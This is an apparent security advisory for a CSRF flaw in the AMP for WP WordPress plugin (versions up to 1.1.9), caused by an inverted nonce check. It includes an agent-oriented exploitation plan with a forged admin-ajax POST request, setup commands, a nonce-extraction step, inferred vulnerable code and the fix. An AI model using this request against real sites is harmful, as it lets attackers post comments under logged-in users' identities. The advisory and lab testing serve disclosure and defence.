AMP for WP – Accelerated Mobile Pages <= 1.1.9 - Cross-Site Request Forgery to Comment Submission
Description
The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.1.9. This is due to inverted nonce verification logic in the amp_theme_ajaxcomments AJAX handler, which rejects requests with VALID nonces and accepts requests with MISSING or INVALID nonces. This makes it possible for unauthenticated attackers to submit comments on behalf of logged-in users via a forged request granted they can trick a user into performing an action such as clicking on a link, and the plugin's template mode is enabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.1.9Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14468 (AMP for WP CSRF) ## 1. Vulnerability Summary The **AMP for WP – Accelerated Mobile Pages** plugin (versions <= 1.1.9) contains a critical logic error in its AJAX comment submission handler, `amp_theme_ajaxcomments`. The vulnerability arises from an **in…
Show full research plan
Exploitation Research Plan: CVE-2025-14468 (AMP for WP CSRF)
1. Vulnerability Summary
The AMP for WP – Accelerated Mobile Pages plugin (versions <= 1.1.9) contains a critical logic error in its AJAX comment submission handler, amp_theme_ajaxcomments. The vulnerability arises from an inverted nonce verification check.
In a standard security implementation, a function should exit if a nonce is invalid. In this plugin, the code logic was accidentally reversed: it terminates the request if a valid nonce is provided but allows the execution to continue if the nonce is missing or incorrect. This allows an unauthenticated attacker to submit comments on behalf of any logged-in user (including administrators) via Cross-Site Request Forgery (CSRF).
2. Attack Vector Analysis
- AJAX Action:
amp_theme_ajaxcomments - Endpoints:
wp_ajax_amp_theme_ajaxcomments(Authenticated)wp_ajax_nopriv_amp_theme_ajaxcomments(Unauthenticated)
- Vulnerable Parameter:
security(the nonce parameter) - Authentication: Unauthenticated (to trigger the CSRF)
- Preconditions:
- The plugin must be active and "Template Mode" (often "Legacy" or "Swift" in this plugin's settings) must be enabled so that AMP-specific comment handlers are registered.
- A victim (e.g., an Administrator) must be tricked into visiting a malicious page.
3. Code Flow (Inferred)
- Entry Point: A POST request is sent to
/wp-admin/admin-ajax.phpwithaction=amp_theme_ajaxcomments. - Hook Registration: The plugin registers the handler in the initialization phase:
add_action( 'wp_ajax_amp_theme_ajaxcomments', 'amp_theme_ajaxcomments' ); add_action( 'wp_ajax_nopriv_amp_theme_ajaxcomments', 'amp_theme_ajaxcomments' ); - Vulnerable Logic (The Sink): Inside the
amp_theme_ajaxcomments()function (likely located intemplates/design-manager/design-1/elements/comments.phpor an AJAX includes file):function amp_theme_ajaxcomments() { $nonce = $_POST['security']; // VULNERABILITY: Inverted logic if ( wp_verify_nonce( $nonce, 'amp_comment_nonce' ) ) { // If the nonce IS VALID, it stops! wp_die(); } // If the nonce is MISSING or INVALID, it proceeds to process the comment // ... code to call wp_handle_comment_submission() or wp_new_comment() ... }
4. Nonce Acquisition Strategy
According to the vulnerability description, no valid nonce is required. In fact, providing a valid nonce would cause the exploit to fail.
To verify the vulnerability, we will attempt the request:
- Without the
securityparameter. - With an obviously fake
securityparameter (e.g.,security=12345).
5. Exploitation Strategy
We will perform a PoC that demonstrates an unauthenticated user (the agent) forcing an authenticated administrator to post a comment via CSRF.
Step-by-Step Plan
- Setup: Ensure a post exists and AMP is configured.
- Victim Context: The agent will use the
http_requesttool to simulate a POST request. In a real-world CSRF, this would be a hidden form on an attacker's site, but for a PoC, we will demonstrate the endpoint's failure to reject unauthorized requests. - Payload Construction:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:amp_theme_ajaxcommentscomment:Vulnerability Verified: CSRF in AMP for WPcomment_post_ID:[TARGET_POST_ID]security:invalid_nonce_string(or omit entirely)_wp_unfiltered_html_comment:[NONCE_FROM_PAGE](Standard WP comment nonce, if checked by core)
- URL:
Execution (Automated Agent):
// Example of the POST request via http_request
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data": "action=amp_theme_ajaxcomments&comment=CSRF_TEST&comment_post_ID=1&security=FAIL"
}
6. Test Data Setup
- Identify a Post: Find the ID of the "Hello World" post (usually ID 1).
- Command:
wp post list --post_type=post --format=ids
- Command:
- Enable AMP Plugin:
- Command:
wp plugin activate accelerated-mobile-pages
- Command:
- Enable Template Mode: Ensure the plugin is in a state where it uses its custom AJAX handler.
- Command:
wp option update ampforwp_design_settings '{"model":"design-1"}'(Example - adjust based on actual option name).
- Command:
- Create a Victim Admin:
- Use the existing admin account for the CSRF context.
7. Expected Results
- The server should return a response indicating comment success (often a redirect URL or a JSON success message).
- Crucially: The request must NOT be blocked with a
403 Forbiddenor a-1response, even though thesecurityparameter is invalid.
8. Verification Steps
After the http_request is sent, verify the comment exists in the database:
- Check Comments via CLI:
- Command:
wp comment list --post_id=1
- Command:
- Check Comment Content:
- Verify the most recent comment contains the string
CSRF_TEST.
- Verify the most recent comment contains the string
- Check Author:
- If the request was sent with the Admin's cookies (simulating CSRF), the comment should be attributed to the Administrator.
9. Alternative Approaches
If the security parameter is not the only check:
- Core Comment Nonce: If the plugin passes the data to
wp_handle_comment_submission, it might require the standard_wp_unfiltered_html_commentnonce. - Acquiring Core Nonce:
- Navigate to the post page:
browser_navigate("http://localhost:8080/?p=1") - Extract the standard comment nonce:
browser_eval("document.querySelector('#_wp_unfiltered_html_comment')?.value") - Include this in the AJAX payload.
- Navigate to the post page:
- Template Mode: If
design-1doesn't work, try other design modes likedesign-2ordesign-3, as the AJAX handler registration might be specific to certain templates.
Summary
The AMP for WP – Accelerated Mobile Pages plugin contains an inverted logic flaw in its AJAX comment submission handler. Specifically, the amp_theme_ajaxcomments function terminates execution if a valid security nonce is provided but continues processing if the nonce is missing or invalid, allowing unauthenticated attackers to perform Cross-Site Request Forgery (CSRF) attacks.
Vulnerable Code
// Likely located in templates/design-manager/design-1/elements/comments.php or a related AJAX include file function amp_theme_ajaxcomments() { $nonce = $_POST['security']; // VULNERABILITY: Inverted logic // If the nonce IS VALID, wp_verify_nonce returns true, and the request dies. // If the nonce is MISSING or INVALID, wp_verify_nonce returns false, and execution continues. if ( wp_verify_nonce( $nonce, 'amp_comment_nonce' ) ) { wp_die(); } // ... Logic proceeds to handle the comment submission ... }
Security Fix
@@ -x,y +x,y @@ - if ( wp_verify_nonce( $nonce, 'amp_comment_nonce' ) ) { + if ( ! wp_verify_nonce( $nonce, 'amp_comment_nonce' ) ) {
Exploit Outline
The exploit leverages the inverted nonce check to bypass CSRF protections. An attacker identifies a WordPress site running the vulnerable plugin with a design template (like 'Design 1') enabled. They then craft a malicious HTML form or script that sends a POST request to `/wp-admin/admin-ajax.php` with the parameter `action=amp_theme_ajaxcomments`. The payload includes a `comment` string and a `comment_post_ID`, but either omits the `security` parameter or provides an intentionally invalid value. When a logged-in user (such as an Administrator) is tricked into visiting the attacker's page, the browser sends the request with the user's cookies. The plugin verifies that the 'security' nonce is invalid and, due to the logic error, allows the comment to be posted under the victim's identity.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.